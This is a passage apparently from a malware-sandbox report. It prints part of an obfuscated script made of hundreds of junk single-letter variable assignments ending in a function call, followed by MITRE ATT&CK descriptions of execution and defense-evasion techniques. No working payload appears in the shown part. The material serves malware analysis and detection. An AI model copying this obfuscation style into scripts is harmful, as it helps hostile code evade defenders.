396	jadoumht = "o";
397	jadoumht = "t";
398	jadoumht = "k";
399	jadoumht = "a";
400	jadoumht = "p";
401	jadoumht = "S";
402	jadoumht = "e";
403	jadoumht = "h";
404	jadoumht = "g";
405	jadoumht = "y";
406	jadoumht = "b";
407	jadoumht = "T";
408	jadoumht = "Y";
409	jadoumht = "t";
410	jadoumht = "g";
411	jadoumht = "g";
412	zhrkxc = "T";
413	zhrkxc = "k";
414	zhrkxc = "X";
415	zhrkxc = "o";
416	zhrkxc = "e";
417	zhrkxc = "u";
418	zhrkxc = "n";
419	zhrkxc = "H";
420	zhrkxc = "O";
421	zhrkxc = "C";
422	zhrkxc = "o";
423	zhrkxc = "N";
424	zhrkxc = "T";
425	zhrkxc = "y";
426	zhrkxc = "m";
427	zhrkxc = "K";
428	zhrkxc = "k";
429	zhrkxc = "h";
430	zhrkxc = "z";
431	zhrkxc = "B";
432	zhrkxc = "Y";
433	zhrkxc = "Y";
434	zhrkxc = "N";
435	zhrkxc = "L";
436	zhrkxc = "&";
437	yszbjuqqh = "B";
438	yszbjuqqh = "Q";
439	yszbjuqqh = "J";
440	yszbjuqqh = "p";
441	yszbjuqqh = "Y";
442	yszbjuqqh = "G";
443	yszbjuqqh = "F";
444	yszbjuqqh = "X";
445	yszbjuqqh = "B";
446	yszbjuqqh = "R";
447	yszbjuqqh = "N";
448	yszbjuqqh = "B";
449	yszbjuqqh = "n";
450	yszbjuqqh = "t";
451	yszbjuqqh = "N";
452	yszbjuqqh = "k";
453	yszbjuqqh = "L";
454	bozljram = "f";
455	bozljram = "T";
456	bozljram = "V";
457	bozljram = "I";
458	bozljram = "S";
459	bozljram = "v";
460	kaurasf = "W";
461	kaurasf = "O";
462	kaurasf = "a";
463	kaurasf = "h";
464	kaurasf = "j";
465	kaurasf = "W";
466	kaurasf = "P";
467	kaurasf = "y";
468	kaurasf = "A";
469	kaurasf = "F";
470	kaurasf = "H";
471	kaurasf = "e";
472	kaurasf = "l";
473	kaurasf = "J";
474	kaurasf = "a";
475	kaurasf = "q";
476	kaurasf = "R";
477	kaurasf = "h";
478	kaurasf = "j";
479	kaurasf = "i";
480	kaurasf = "Z";
481	kaurasf = "8";
482	gadhbz = "n";
483	gadhbz = "r";
484	gadhbz = "y";
485	gadhbz = "u";
486	gadhbz = "n";
487	gadhbz = "U";
488	gadhbz = "L";
489	gadhbz = "P";
490	gadhbz = "d";
491	gadhbz = "j";
492	gadhbz = "x";
493	gadhbz = "B";
494	gadhbz = "w";
495	gadhbz = "y";
496	gadhbz = "p";
497	gadhbz = "B";
498	gadhbz = "h";
499	gadhbz = "n";
500	gadhbz = "Z";
501	gadhbz = "m";
502	gadhbz = "X";
503	gadhbz = "e";
504	gadhbz = " ";
505	rwqdavvj = "g";
506	rwqdavvj = "k";
507	rwqdavvj = "y";
508	rwqdavvj = "z";
509	rwqdavvj = "j";
510	rwqdavvj = "D";
511	rwqdavvj = "q";
512	rwqdavvj = "b";
513	rwqdavvj = "L";
514	rwqdavvj = "I";
515	rwqdavvj = "g";
516	rwqdavvj = "b";
517	rwqdavvj = "s";
518	rwqdavvj = "B";
519	rwqdavvj = "I";
520	rwqdavvj = "D";
521	rwqdavvj = "d";
522	rwqdavvj = "T";
523	rwqdavvj = "M";
524	rwqdavvj = "G";
525	rwqdavvj = "k";
526	rwqdavvj = "y";
527	rwqdavvj = "z";
528	rwqdavvj = "V";
529	rwqdavvj = "f";
530	rwqdavvj = "c";
531	rwqdavvj = "t";
532	rwqdavvj = "M";
533	rwqdavvj = "F";
534	rwqdavvj = "u";
535	rwqdavvj = "G";
536	rwqdavvj = "R";
537	rwqdavvj = "A";
538	rwqdavvj = "G";
539	rwqdavvj = "R";
540	rwqdavvj = "r";
541	rwqdavvj = "O";
542	rwqdavvj = "b";
543	rwqdavvj = "l";
544	uoapp = "v";
545	uoapp = "c";
546	uoapp = "K";
547	uoapp = "w";
548	uoapp = "B";
549	uoapp = "z";
550	uoapp = "i";
551	uoapp = "a";
552	uoapp = "W";
553	uoapp = "o";
554	uoapp = "H";
555	uoapp = "F";
556	uoapp = "n";
557	uoapp = "C";
558	uoapp = "y";
559	uoapp = "Z";
560	uoapp = "U";
561	uoapp = "l";
562	uoapp = "a";
563	uoapp = "o";
564	uoapp = "B";
565	uoapp = "T";
566	uoapp = "a";
567	uoapp = "F";
568	uoapp = "D";
569	uoapp = "U";
570	uoapp = "I";
571	uoapp = "j";
572	alimo = "W";
573	alimo = "O";
574	alimo = "a";
575	alimo = "X";
576	alimo = "i";
577	alimo = "c";
578	alimo = "F";
579	alimo = "K";
580	alimo = "J";
581	alimo = "C";
582	alimo = "i";
583	alimo = "r";
584	alimo = "U";
585	alimo = "u";
586	alimo = "e";
587	alimo = "M";
588	alimo = "B";
589	alimo = "K";
590	alimo = "R";
591	alimo = "k";
592	alimo = "Y";
593	alimo = "K";
594	alimo = "r";
595	alimo = "z";
596	alimo = "G";
597	alimo = "e";
598	alimo = "F";
599	alimo = "V";
600	alimo = "X";
601	alimo = "O";
602	alimo = "l";
603	alimo = "o";
604	alimo = "B";
605	alimo = "J";
606	alimo = "k";
607	alimo = "J";
608	alimo = "a";
609	alimo = "l";
610	alimo = "T";
611	alimo = "l";
612	alimo = "w";
613	alimo = "H";
614	fzpoxddgd = "i";
615	fzpoxddgd = "C";
616	fzpoxddgd = "l";
617	fzpoxddgd = "Q";
618	fzpoxddgd = "t";
619	fzpoxddgd = "f";
620	fzpoxddgd = "H";
621	fzpoxddgd = "d";
622	fzpoxddgd = "D";
623	fzpoxddgd = "o";
624	fzpoxddgd = "M";
625	fzpoxddgd = "t";
626	ipxiufp = "J";
627	ipxiufp = "J";
628	ipxiufp = "I";
629	ipxiufp = "J";
630	ipxiufp = "P";
631	ipxiufp = "p";
632	ipxiufp = "L";
633	ipxiufp = "z";
634	ipxiufp = "z";
635	ipxiufp = "c";
636	ipxiufp = "h";
637	ipxiufp = "S";
638	ipxiufp = "j";
639	ipxiufp = "l";
640	ipxiufp = "B";
641	ipxiufp = "L";
642	ipxiufp = "z";
643	ipxiufp = "I";
644	ipxiufp = "P";
645	ipxiufp = "Z";
646	ipxiufp = "z";
647	ipxiufp = "d";
648	ipxiufp = "l";
649	ipxiufp = "d";
650	ipxiufp = "C";
651	ipxiufp = "i";
652	ipxiufp = "G";
653	ipxiufp = "C";
654	ipxiufp = "I";
655	ipxiufp = "o";
656	ipxiufp = "z";
657	ipxiufp = "X";
658	ipxiufp = "z";
659	ipxiufp = "d";
660	ipxiufp = "T";
661	ipxiufp = "z";
662	ipxiufp = "V";
663	ipxiufp = "d";
664	ipxiufp = "Y";
665	ipxiufp = "t";
666	ipxiufp = "k";
667	ipxiufp = "w";
668	ipxiufp = "E";
669	ipxiufp = "J";
670	ipxiufp = ".";
671	ufzmicqc = "E";
672	ufzmicqc = "v";
673	ufzmicqc = "S";
674	ufzmicqc = "M";
675	ufzmicqc = "l";
676	ufzmicqc = "A";
677	ufzmicqc = "e";
678	ufzmicqc = "Y";
679	ufzmicqc = "F";
680	ufzmicqc = "M";
681	ufzmicqc = "u";
682	ufzmicqc = "L";
683	ufzmicqc = "m";
684	ufzmicqc = "O";
685	ufzmicqc = "W";
686	ufzmicqc = "c";
687	ufzmicqc = "S";
688	ufzmicqc = "z";
689	ufzmicqc = "M";
690	ufzmicqc = "V";
691	ufzmicqc = "z";
692	ufzmicqc = "z";
693	ufzmicqc = "C";
694	ufzmicqc = "q";
695	ufzmicqc = "c";
696	ufzmicqc = "b";
697	ufzmicqc = "C";
698	ufzmicqc = "Q";
699	ufzmicqc = "W";
700	ufzmicqc = "q";
701	ufzmicqc = "3";
702	ajhohzp = "U";
703	ajhohzp = "Q";
704	ajhohzp = "h";
705	ajhohzp = "M";
706	ajhohzp = "n";
707	ajhohzp = "F";
708	ajhohzp = "e";
709	ajhohzp = "W";
710	ajhohzp = "p";
711	ajhohzp = "c";
712	ajhohzp = "A";
713	ajhohzp = "N";
714	ajhohzp = "B";
715	ajhohzp = "V";
716	ajhohzp = "y";
717	ajhohzp = "-";
718	hksxr = "i";
719	hksxr = "m";
720	hksxr = "D";
721	hksxr = "j";
722	hksxr = "P";
723	hksxr = "k";
724	hksxr = "U";
725	hksxr = "O";
726	hksxr = "G";
727	hksxr = "g";
728	hksxr = "u";
729	hksxr = "w";
730	hksxr = "A";
731	hksxr = "O";
732	hksxr = "j";
733	hksxr = "g";
734	hksxr = "Q";
735	hksxr = "C";
736	hksxr = "n";
737	hksxr = "R";
738	hksxr = "w";
739	oyuhpqbh = "U";
740	oyuhpqbh = "L";
741	oyuhpqbh = "l";
742	oyuhpqbh = "S";
743	oyuhpqbh = "u";
744	oyuhpqbh = "i";
745	oyuhpqbh = "c";
746	oyuhpqbh = "a";
747	oyuhpqbh = "S";
748	oyuhpqbh = "X";
749	oyuhpqbh = "b";
750	oyuhpqbh = "D";
751	oyuhpqbh = "U";
752	oyuhpqbh = "h";
753	oyuhpqbh = "j";
754	oyuhpqbh = "T";
755	oyuhpqbh = "p";
756	oyuhpqbh = "W";
757	oyuhpqbh = "n";
758	oyuhpqbh = "Y";
759	oyuhpqbh = "i";
760	oyuhpqbh = "H";
761	oyuhpqbh = "r";
762	oyuhpqbh = "Y";
763	oyuhpqbh = "s";
764	oyuhpqbh = "S";
765	oyuhpqbh = "w";
766	oyuhpqbh = "R";
767	oyuhpqbh = "p";
768	oyuhpqbh = "G";
769	oyuhpqbh = "c";
770	oyuhpqbh = "I";
771	oyuhpqbh = "t";
772	oyuhpqbh = "z";
773	oyuhpqbh = "H";
774	oyuhpqbh = "e";
775	nlmvlrgrm = "k";
776	nlmvlrgrm = "P";
777	nlmvlrgrm = "r";
778	nlmvlrgrm = "c";
779	nlmvlrgrm = "V";
780	nlmvlrgrm = "i";
781	nlmvlrgrm = "O";
782	nlmvlrgrm = "q";
783	nlmvlrgrm = "m";
784	nlmvlrgrm = "p";
785	nlmvlrgrm = "n";
786	nlmvlrgrm = "I";
787	nlmvlrgrm = "a";
788	nlmvlrgrm = "Z";
789	nlmvlrgrm = "w";
790	nlmvlrgrm = "O";
791	nlmvlrgrm = "h";
792	nlmvlrgrm = "d";
793	nlmvlrgrm = "X";
794	nlmvlrgrm = "r";
795	nlmvlrgrm = "u";
796	nlmvlrgrm = "G";
797	nlmvlrgrm = "W";
798	nlmvlrgrm = "B";
799	nlmvlrgrm = "X";
800	nlmvlrgrm = "i";
801	nlmvlrgrm = "K";
802	nlmvlrgrm = "E";
803	nlmvlrgrm = "A";
804	nlmvlrgrm = "p";
805	wdoulld = "T";
806	wdoulld = "z";
807	wdoulld = "E";
808	wdoulld = "f";
809	wdoulld = "e";
810	wdoulld = "m";
811	wdoulld = "j";
812	wdoulld = "b";
813	wdoulld = "q";
814	wdoulld = "q";
815	wdoulld = "w";
816	wdoulld = "K";
817	wdoulld = "G";
818	wdoulld = "f";
819	wdoulld = "i";
820	wdoulld = "V";
821	wdoulld = "X";
822	wdoulld = "O";
823	wdoulld = "h";
824	wdoulld = "E";
825	umbak = "P";
826	umbak = "y";
827	umbak = "B";
828	umbak = "Q";
829	umbak = "I";
830	umbak = "V";
831	umbak = "L";
832	umbak = "\\";
833	foydehnuy = "V";
834	foydehnuy = "U";
835	foydehnuy = "V";
836	foydehnuy = "O";
837	foydehnuy = "V";
838	foydehnuy = "L";
839	foydehnuy = "Y";
840	foydehnuy = "W";
841	foydehnuy = "w";
842	foydehnuy = "r";
843	foydehnuy = "y";
844	foydehnuy = "q";
845	foydehnuy = "D";
846	foydehnuy = "P";
847	foydehnuy = "X";
848	foydehnuy = "d";
849	foydehnuy = "m";
850	foydehnuy = "Q";
851	foydehnuy = "v";
852	foydehnuy = "W";
853	foydehnuy = "c";
854	foydehnuy = "O";
855	foydehnuy = "Z";
856	foydehnuy = "f";
857	foydehnuy = "F";
858	foydehnuy = "R";
859	foydehnuy = "a";
860	foydehnuy = "E";
861	foydehnuy = "C";
862	foydehnuy = "C";
863	foydehnuy = "x";
864	foydehnuy = "k";
865	foydehnuy = "t";
866	foydehnuy = "E";
867	foydehnuy = "Z";
868	foydehnuy = "z";
869	foydehnuy = "Y";
870	foydehnuy = "X";
871	foydehnuy = "W";
872	foydehnuy = "J";
873	foydehnuy = "X";
874	foydehnuy = "a";
875	foydehnuy = "w";
876	foydehnuy = "n";
877	benvm = "L";
878	benvm = "A";
879	benvm = "M";
880	benvm = "u";
881	benvm = "x";
882	benvm = "z";
883	benvm = "v";
884	benvm = "r";
885	benvm = "K";
886	benvm = "Y";
887	benvm = "T";
888	benvm = "T";
889	benvm = "F";
890	benvm = "G";
891	benvm = "U";
892	benvm = "C";
893	benvm = "T";
894	benvm = "S";
895	benvm = "d";
896	benvm = "N";
897	benvm = "P";
898	benvm = "2";
899	caoxyr = "K";
900	caoxyr = "Q";
901	caoxyr = "J";
902	caoxyr = "H";
903	caoxyr = "N";
904	caoxyr = "Q";
905	caoxyr = "F";
906	caoxyr = "L";
907	caoxyr = "J";
908	caoxyr = "A";
909	caoxyr = "E";
910	caoxyr = "i";
911	caoxyr = "d";
912	kgeybjv = "O";
913	kgeybjv = "m";
914	kgeybjv = "f";
915	kgeybjv = "j";
916	kgeybjv = "t";
917	kgeybjv = "F";
918	kgeybjv = "y";
919	kgeybjv = "r";
920	kgeybjv = "S";
921	kgeybjv = "R";
922	kgeybjv = "H";
923	kgeybjv = "e";
924	kgeybjv = "h";
925	kgeybjv = "O";
926	kgeybjv = "e";
927	kgeybjv = "B";
928	kgeybjv = "u";
929	kgeybjv = "g";
930	kgeybjv = "G";
931	kgeybjv = "G";
932	kgeybjv = "U";
933	kgeybjv = "t";
934	kgeybjv = "W";
935	kgeybjv = "J";
936	kgeybjv = "O";
937	kgeybjv = "A";
938	kgeybjv = "U";
939	kgeybjv = "i";
940	kgeybjv = "z";
941	kgeybjv = "T";
942	kgeybjv = "P";
943	kgeybjv = "s";
944	kgeybjv = "Y";
945	kgeybjv = "K";
946	kgeybjv = "a";
947	kgeybjv = "j";
948	kgeybjv = "X";
949	kgeybjv = "X";
950	kgeybjv = "t";
951	kgeybjv = "W";
952	kgeybjv = "N";
953	kgeybjv = "P";
954	gbuspdn = "r";
955	gbuspdn = "B";
956	gbuspdn = "P";
957	gbuspdn = "T";
958	gbuspdn = "o";
959	gbuspdn = "A";
960	gbuspdn = "M";
961	gbuspdn = "p";
962	gbuspdn = "w";
963	gbuspdn = "R";
964	gbuspdn = "p";
965	gbuspdn = "Z";
966	gbuspdn = "Q";
967	gbuspdn = "l";
968	gbuspdn = "L";
969	gbuspdn = "j";
970	gbuspdn = "I";
971	gbuspdn = "l";
972	gbuspdn = "R";
973	gbuspdn = "S";
974	pendqgjm = "k";
975	pendqgjm = "E";
976	pendqgjm = "r";
977	pendqgjm = "I";
978	pendqgjm = "Z";
979	pendqgjm = ":";
980	vxqsufqe = "k";
981	vxqsufqe = "g";
982	vxqsufqe = "P";
983	vxqsufqe = "k";
984	vxqsufqe = "Z";
985	vxqsufqe = "U";
986	vxqsufqe = "s";
987	vxqsufqe = "F";
988	vxqsufqe = "v";
989	vxqsufqe = "f";
990	vxqsufqe = "Y";
991	vxqsufqe = "X";
992	vxqsufqe = "D";
993	vxqsufqe = "a";
994	vxqsufqe = "J";
995	vxqsufqe = "h";
996	vxqsufqe = "W";
997	vxqsufqe = "U";
998	mnjzpvnjk = "d";
999	mnjzpvnjk = "M";
1000	mnjzpvnjk = "g";
1001	mnjzpvnjk = "s";
1002	mnjzpvnjk = "L";
1003	mnjzpvnjk = "I";
1004	mnjzpvnjk = "E";
1005	mnjzpvnjk = "D";
1006	mnjzpvnjk = "r";
1007	mnjzpvnjk = "y";
1008	mnjzpvnjk = "B";
1009	mnjzpvnjk = "y";
1010	mnjzpvnjk = "O";
1011	mnjzpvnjk = "E";
1012	mnjzpvnjk = "l";
1013	mnjzpvnjk = "Y";
1014	mnjzpvnjk = "N";
1015	mnjzpvnjk = "L";
1016	mnjzpvnjk = "g";
1017	mnjzpvnjk = "V";
1018	mnjzpvnjk = "h";
1019	xygzvfazr = "c";
1020	xygzvfazr = "V";
1021	xygzvfazr = "G";
1022	xygzvfazr = "j";
1023	xygzvfazr = "B";
1024	xygzvfazr = "K";
1025	xygzvfazr = "U";
1026	xygzvfazr = "o";
1027	xygzvfazr = "z";
1028	xygzvfazr = "S";
1029	xygzvfazr = "c";
1030	xygzvfazr = "l";
1031	xygzvfazr = "O";
1032	xygzvfazr = "v";
1033	xygzvfazr = "b";
1034	xygzvfazr = "E";
1035	xygzvfazr = "n";
1036	xygzvfazr = "e";
1037	xygzvfazr = "A";
1038	xygzvfazr = "P";
1039	xygzvfazr = "d";
1040	xygzvfazr = "X";
1041	xygzvfazr = "x";
1042	iqljdmgp = "w";
1043	iqljdmgp = "e";
1044	iqljdmgp = "S";
1045	iqljdmgp = "t";
1046	iqljdmgp = "G";
1047	iqljdmgp = "r";
1048	iqljdmgp = "L";
1049	iqljdmgp = "g";
1050	iqljdmgp = "G";
1051	iqljdmgp = "N";
1052	iqljdmgp = "Z";
1053	iqljdmgp = "k";
1054	iqljdmgp = "H";
1055	iqljdmgp = "D";
1056	iqljdmgp = "h";
1057	iqljdmgp = "S";
1058	iqljdmgp = "f";
1059	iqljdmgp = "k";
1060	iqljdmgp = "g";
1061	iqljdmgp = "T";
1062	iqljdmgp = "u";
1063	iqljdmgp = "f";
1064	iqljdmgp = "e";
1065	iqljdmgp = "m";
1066	iqljdmgp = "j";
1067	iqljdmgp = "5";
1068	kcntw = "X";
1069	kcntw = "b";
1070	kcntw = "z";
1071	kcntw = "Z";
1072	kcntw = "Z";
1073	kcntw = "i";
1074	kcntw = "x";
1075	kcntw = "Y";
1076	kcntw = "r";
1077	kcntw = "c";
1078	kcntw = "r";
1079	kcntw = "z";
1080	kcntw = "E";
1081	kcntw = "o";
1082	kcntw = "t";
1083	kcntw = "L";
1084	kcntw = "x";
1085	kcntw = "X";
1086	kcntw = "U";
1087	kcntw = "x";
1088	kcntw = "w";
1089	kcntw = "6";
1090	clzlmjg = "e";
1091	clzlmjg = "Z";
1092	clzlmjg = "x";
1093	clzlmjg = "I";
1094	clzlmjg = "B";
1095	clzlmjg = "H";
1096	clzlmjg = "H";
1097	clzlmjg = "Q";
1098	clzlmjg = "E";
1099	clzlmjg = "q";
1100	clzlmjg = "t";
1101	clzlmjg = "U";
1102	clzlmjg = "e";
1103	clzlmjg = "C";
1104	clzlmjg = "L";
1105	clzlmjg = "n";
1106	clzlmjg = "H";
1107	clzlmjg = "t";
1108	clzlmjg = "w";
1109	clzlmjg = "c";
1110	clzlmjg = "E";
1111	clzlmjg = "T";
1112	clzlmjg = "o";
1113	clzlmjg = "R";
1114	clzlmjg = "t";
1115	clzlmjg = "F";
1116	clzlmjg = "K";
1117	clzlmjg = "A";
1118	clzlmjg = "g";
1119	clzlmjg = "v";
1120	clzlmjg = "X";
1121	clzlmjg = "g";
1122	clzlmjg = "e";
1123	clzlmjg = "N";
1124	clzlmjg = "O";
1125	ztosuwd = "y";
1126	ztosuwd = "b";
1127	ztosuwd = "v";
1128	ztosuwd = "D";
1129	ztosuwd = "v";
1130	ztosuwd = "F";
1131	ztosuwd = "a";
1132	ikoyfrogv = "/";
1133	rpzgmykw = "e";
1134	rpzgmykw = "X";
1135	rpzgmykw = "w";
1136	rpzgmykw = "y";
1137	rpzgmykw = "i";
1138	rpzgmykw = "l";
1139	rpzgmykw = "F";
1140	rpzgmykw = "i";
1141	rpzgmykw = "q";
1142	rpzgmykw = "N";
1143	rpzgmykw = "u";
1144	xycssqk = "M";
1145	xycssqk = "G";
1146	xycssqk = "U";
1147	xycssqk = "X";
1148	xycssqk = "Q";
1149	xycssqk = "b";
1150	xycssqk = "P";
1151	xycssqk = "d";
1152	xycssqk = "T";
1153	xycssqk = "s";
1154	xycssqk = "B";
1155	xycssqk = "i";
1156	oezebkz = "E";
1157	oezebkz = "H";
1158	oezebkz = "B";
1159	oezebkz = "W";
1160	oezebkz = "V";
1161	oezebkz = "o";
1162	oezebkz = "g";
1163	oezebkz = "A";
1164	oezebkz = "c";
1165	oezebkz = "U";
1166	oezebkz = "D";
1167	oezebkz = "a";
1168	oezebkz = "c";
1169	cfeblxs = "o";
1170	cfeblxs = "n";
1171	cfeblxs = "V";
1172	cfeblxs = "C";
1173	cfeblxs = "M";
1174	cfeblxs = "h";
1175	cfeblxs = "Z";
1176	cfeblxs = "T";
1177	cfeblxs = "M";
1178	cfeblxs = "N";
1179	isjzzv = "T";
1180	isjzzv = "c";
1181	isjzzv = "p";
1182	isjzzv = "b";
1183	isjzzv = "u";
1184	isjzzv = "a";
1185	isjzzv = "L";
1186	isjzzv = "L";
1187	isjzzv = "A";
1188	isjzzv = "R";
1189	isjzzv = "C";
1190	isjzzv = "r";
1191	isjzzv = "y";
1192	isjzzv = "M";
1193	isjzzv = "m";
1194	isjzzv = "V";
1195	isjzzv = "F";
1196	isjzzv = "h";
1197	isjzzv = "L";
1198	isjzzv = "Q";
1199	isjzzv = "C";
1200	isjzzv = "0";
1201	tujzdlb = "c";
1202	tujzdlb = "D";
1203	tujzdlb = "k";
1204	tujzdlb = "u";
1205	tujzdlb = "q";
1206	tujzdlb = "Y";
1207	tujzdlb = "t";
1208	tujzdlb = "D";
1209	tujzdlb = "t";
1210	tujzdlb = "W";
1211	tujzdlb = "s";
1212	tujzdlb = "Z";
1213	tujzdlb = "H";
1214	tujzdlb = "d";
1215	tujzdlb = "Z";
1216	tujzdlb = "C";
1217	tujzdlb = "U";
1218	tujzdlb = "Y";
1219	tujzdlb = "w";
1220	tujzdlb = "H";
1221	tujzdlb = "e";
1222	tujzdlb = "z";
1223	tujzdlb = "B";
1224	tujzdlb = "U";
1225	tujzdlb = "p";
1226	tujzdlb = "f";
1227	tujzdlb = "T";
1228	tujzdlb = "T";
1229	tujzdlb = "B";
1230	tujzdlb = "u";
1231	tujzdlb = "g";
1232	tujzdlb = "L";
1233	tujzdlb = "k";
1234	tujzdlb = "m";
1235	tujzdlb = "@";
1236	kzasd = "X";
1237	kzasd = "H";
1238	kzasd = "f";
1239	kzasd = "S";
1240	kzasd = "p";
1241	kzasd = "O";
1242	kzasd = "R";
1243	kzasd = "P";
1244	kzasd = "t";
1245	kzasd = "F";
1246	kzasd = "y";
1247	kzasd = "y";
1248	kzasd = "\"";
1249	mhiakkt = "E";
1250	mhiakkt = "b";
1251	mhiakkt = "q";
1252	mhiakkt = "Q";
1253	mssvg = "N";
1254	mssvg = "r";
1255	mssvg = "%";
1256	weotrfysa = "F";
1257	weotrfysa = "R";
1258	weotrfysa = "v";
1259	weotrfysa = "J";
1260	weotrfysa = "r";
1261	weotrfysa = "u";
1262	weotrfysa = "O";
1263	weotrfysa = "e";
1264	weotrfysa = "e";
1265	weotrfysa = "d";
1266	weotrfysa = "w";
1267	weotrfysa = "z";
1268	weotrfysa = "B";
1269	weotrfysa = "s";
1270	weotrfysa = "n";
1271	weotrfysa = "G";
1272	weotrfysa = "c";
1273	weotrfysa = "w";
1274	weotrfysa = "f";
1275	zztuvzk = "R";
1276	zztuvzk = "p";
1277	zztuvzk = "C";
1278	zztuvzk = "y";
1279	zztuvzk = "J";
1280	zztuvzk = "r";
1281	zztuvzk = "P";
1282	zztuvzk = "o";
1283	zztuvzk = "c";
1284	zztuvzk = "Z";
1285	zztuvzk = "Q";
1286	zztuvzk = "x";
1287	zztuvzk = "y";
1288	zztuvzk = "H";
1289	zztuvzk = "N";
1290	zztuvzk = "q";
1291	zztuvzk = "q";
1292	zztuvzk = "n";
1293	zztuvzk = "T";
1294	zztuvzk = "A";
1295	zztuvzk = "y";
1296	zztuvzk = "j";
1297	zztuvzk = "Y";
1298	zztuvzk = "j";
1299	zztuvzk = "I";
1300	zztuvzk = "i";
1301	zztuvzk = "K";
1302	zztuvzk = "r";
1303	zztuvzk = "S";
1304	zztuvzk = "k";
1305	zztuvzk = "O";
1306	zztuvzk = "S";
1307	zztuvzk = "y";
1308	zztuvzk = "N";
1309	zztuvzk = "s";
1310	zztuvzk = "v";
1311	zztuvzk = "R";
1312	zztuvzk = "z";
1313	zztuvzk = "p";
1314	zztuvzk = "M";
1315	zztuvzk = "h";
1316	zztuvzk = "m";
1317	eaevnp = "z";
1318	eaevnp = "p";
1319	eaevnp = "H";
1320	eaevnp = "a";
1321	eaevnp = "U";
1322	eaevnp = "A";
1323	eaevnp = "y";
1324	eaevnp = "h";
1325	eaevnp = "u";
1326	eaevnp = "j";
1327	eaevnp = "p";
1328	eaevnp = "n";
1329	eaevnp = "U";
1330	eaevnp = "E";
1331	eaevnp = "O";
1332	eaevnp = "i";
1333	eaevnp = "p";
1334	eaevnp = "T";
1335	eaevnp = "d";
1336	eaevnp = "G";
1337	eaevnp = "k";
1338	eaevnp = "S";
1339	eaevnp = "m";
1340	eaevnp = "Q";
1341	eaevnp = "O";
1342	eaevnp = "L";
1343	eaevnp = "9";
1344	xcrvbepkd = "r";
1345	xcrvbepkd = "S";
1346	xcrvbepkd = "_";
1347	vretewq ( );	vretewq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
